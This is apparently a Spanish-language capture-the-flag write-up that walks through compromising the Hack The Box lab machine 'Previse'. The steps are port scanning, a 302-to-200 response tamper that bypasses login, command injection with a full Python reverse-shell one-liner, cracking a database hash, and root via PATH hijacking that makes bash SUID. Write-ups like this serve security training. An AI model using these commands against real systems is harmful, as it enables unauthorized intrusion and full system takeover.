Previse - Hack The Box
Iniciamos con un escaneo básico de puertos con nmap
~$> sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.104
-p-
-> Todo el rango de puertos (1-65535)-sS
-> TCP SYN/PORT scan--min-rate
-> Mínimo de paquetes que quiero que se emitan por segundo (5000)--open
-> Mostrar solo puertos abiertos-vvv
-> Triple verbose para ver los avances del escaneo antes de que acabe-n
-> Quitar la resolución DNS-Pn
-> Para no aplicar host discovery
Vemos que hay 2 puertos externamente visibles:
80
-> http22
-> ssh
Conociendo que hay un servicio web http corriendo, vamos a verlo desde el navegador
Despues de probar algunas inyecciones de diferentes tipos contra el panel de login, ninguna funcionaba, por lo que apliqué fuzzing con wfuzz en busqueda de archivos .php
~$> wfuzz -c --hc=404 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.104/FUZZ.php
-c
-> Formato colorizado--hc
-> Ocultando las respuestas con el código de estado 404-w
-> WordlistFUZZ
-> Lugar donde se aplicara el fuzzing
Encontrando lo siguiente:
Si nos dirigimos al nav.php en el navegador, vemos un panel de navegación con algunas opciones interesantes
Pero si intentamos entrar en alguna de estas secciones, el servidor nos redirige al panel de login, por lo que viendo esto se me ocurrió abrir el Burpsuite para interceptar la petición e intentar forzar un código de estado 200 Ok
- Primero definimos el scope:
Esto para que no intercepte peticiones de sitios diferentes al que queremos
- Despues de esto y con el intercept on, interceptamos la petición de create account
- Configuramos el Burpsuite para poder modificar la respuesta, para posteriormente enviarla
- Seguimos la petición en forward
- Cambiamos el
302 Found
por un200 Ok
Luego de esto podemos ver como en la web se nos dirige a un portal donde podemos crear un usuario, así que creamos uno
Y vemos que se nos redirige nuevamente al panel de login del inicio, entonces ingresamos el usuario creado previamente
Y entramos!
Una vez dentro, nos dirigimos al apartado de files y descargamos el SITEBACKUP.ZIP
que encontramos ahí
Lo descomprimimos
~$> unzip siteBackup.zip
Aquí encontramos varios ficheros de los cuales uno es un config.php
el cual contiene credenciales para la base de datos
~$> cat config.php
Además de este archivo de configuración, encontramos un logs.php
con información interesante
~$> cat logs.php
En este script podemos ver que con python
se ejecuta un script (log_process.py
) el cual necesita de un argumento que recibe por medio del parametro delim
por el cual podríamos inyectar algún comando
- Vamos a
LOG DATA
- Damos a
SUBMIT
e interceptamos la petición, nuevamente con Burpsuite
- Identificamos el campo vulnerable que previamente habíamos encontrado (
delim
)
- Como vimos antes, este parametro no está bien sanitizado en el código, por lo que podemos inyectar una instrucción usando un
;
de la siguiente manera:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("[TU_IP]",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
De esta manera nos podremos enviar una shell a nuestro equípo por el puerto 443, así que nos ponemos en escucha con netcat
antes de enviar la respuesta
~$> nc -nlvp 443
Damos en forward
Y vemos nuestro listener
Luego de hacer un tratamiento de la tty, recordé las credenciales que habíamos encontrado previamente en el archivo config.php
, así que me conecté con mysql
www-data@previse:/var/www/html$ mysql -uroot -pmySQL_p@ssw0rd\!:\)
Listamos las bases de datos
mysql> show databases;
Y vemos una con nombre previse
, la seleccionamos
mysql> use previse;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
Si listamos las tablas
mysql> show tables;
Encontramos una interesante (accounts
), listamos el contenido
mysql> select * from accounts;
De esta forma logramos ver dos hashes, el del usuario que registramos en el inicio y el de **m4lwhere**
Así que guardamos el primer hash en un fichero en nuestra máquina para despues crackearlo, en mi caso con john
~$> john --wordlist=/usr/share/wordlists/rockyou.txt hash --format=md5crypt-long
Y despúes de un rato, obtenemos una contraseña la cual nos sirve para conectarnos por ssh
~$> ssh m4lwhere@10.10.11.104
m4lwhere@10.10.11.104's password:
Vemos si podemos hacer algo como otro usuario del sistema
m4lwhere@previse:~$ sudo -l
[sudo] password for m4lwhere:
User m4lwhere may run the following commands on previse:
(root) /opt/scripts/access_backup.sh
Y encontramos un script que podemos ejecutar como el usuario root
Si lo leemos
m4lwhere@previse:~$ cat /opt/scripts/access_backup.sh
Podemos rápidamente darnos cuenta de que se está llamando a el comando gzip
de forma relativa, por lo que ya sabemos que podemos hacer un Path Hijacking para obtener el root
- Primero ejecutamos el siguiente comando para insertar la instrucción que convertira la
/bin/bash
en SUID, dentro de un fichero que se llamegzip
m4lwhere@previse:~$ echo -e "#\!/bin/bash\nchmod 4755 /bin/bash" > gzip
- Le asignamos permisos de ejecución al fichero que acabamos de crear
m4lwhere@previse:~$ chmod +x gzip
- Alteramos el path, para que en lugar de empezar buscando el binario
gzip
en/usr/local/sbin
, use el que acabamos de crear en el directorio actual, esto de la siguiente forma:
m4lwhere@previse:~$ export PATH=.:$PATH
- Y ejecutamos el script como el usuario
root
m4lwhere@previse:~$ sudo /opt/scripts/access_backup.sh
Por último ejecutamos una bash atendiendo al permiso SUID que se le acaba de asignar
m4lwhere@previse:~$ bash -p
bash-4.4#
Y ahora somos root
bash-4.4# whoami
root
:>